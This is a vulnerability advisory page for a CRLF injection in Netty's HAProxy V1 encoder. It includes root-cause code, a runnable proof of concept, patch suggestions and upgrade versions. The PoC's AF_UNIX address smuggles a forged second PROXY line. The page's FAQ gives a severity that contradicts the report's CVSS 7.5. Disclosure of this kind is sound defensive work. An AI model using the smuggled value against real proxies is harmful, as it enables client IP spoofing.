CVE-2026-59919: Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address

Published Jul 22, 2026
·
Updated

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AFUNIX Address in Netty

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-haproxy) | | Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences | | Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |

2. Affected Components

- io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation - io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AFUNIX (line 439)

3. Vulnerability Description

Netty's HAProxy protocol encoder writes AFUNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause — Encoder

java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXTPREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), USASCII); // "UNIXSTREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); }

Root Cause — Insufficient Address Validation

java // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AFUNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.USASCII).length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AFIPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AFIPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } }

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AFUNIX addresses only check length <= 108 — any characters including CRLF are accepted.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers 2. AFUNIX (UNIXSTREAM or UNIXDGRAM) addresses contain user-controlled input 3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases: - PROXY protocol relays that construct AFUNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers

5. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

java String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";

HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0);

Wire format sent to backend: PROXY UNIXSTREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 - This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not

6. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.; import java.nio.charset.StandardCharsets;

public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AFUNIX CRLF Injection PoC ===\n");

String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock";

HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, destAddr, 0, 0);

EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg);

ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();

System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); }

int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } }

How to Compile and Run

bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HAProxy AFUNIX CRLF Injection PoC ===

[TEST 1] AFUNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIXSTREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r

PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected!

7. Remediation Recommendations

Option 1: Validate AFUNIX Addresses for CRLF

java // HAProxyMessage.java checkAddress() - add for AFUNIX: case AFUNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.USASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AFUNIX address contains prohibited CRLF character"); } } return;

Option 2: Validate in Encoder

java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } }

8. References

- HAProxy PROXY Protocol v1 Specification - CWE-93: Improper Neutralization of CRLF Sequences - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)

Other sources

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AFUNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AFUNIX address can inject  \r\n  sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AFUNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

MITRE

Affected Software

4 affected componentsFixes available
maven/io.netty:netty-codec-haproxy<4.1.136.Final
4.1.136.Final
maven/io.netty:netty-codec-haproxy>=4.2.0.Final<4.2.16.Final
4.2.16.Final
Netty Netty<4.1.136
Netty Netty>=4.2.0<4.2.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-haproxy to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-haproxy to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final
  3. Upgrade

    Upgrade io.netty:netty-codec-haproxy to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  4. Upgrade

    Upgrade io.netty:netty-codec-haproxy to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final

Event History

Jul 22, 2026
Advisory Published
via GitHub·09:51 PM
Data Sourced
via GitHub·09:51 PM
DescriptionSeverityWeaknessAffected Software
Jul 29, 2026
CVE Published
via MITRE·05:37 PM
Data Sourced
via MITRE·05:37 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59919?

The severity of CVE-2026-59919 is medium, with a score of 5.5.

2

How do I fix CVE-2026-59919?

To fix CVE-2026-59919, upgrade to Netty version 4.2.16.Final or later.

3

What type of vulnerability is CVE-2026-59919?

CVE-2026-59919 is a CRLF Injection vulnerability that can lead to command injection.

4

Which versions of Netty are affected by CVE-2026-59919?

CVE-2026-59919 affects Netty versions 4.2.12.Final and all prior versions with codec-haproxy.

5

What components are involved in CVE-2026-59919?

CVE-2026-59919 involves the Netty codec for HAProxy.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203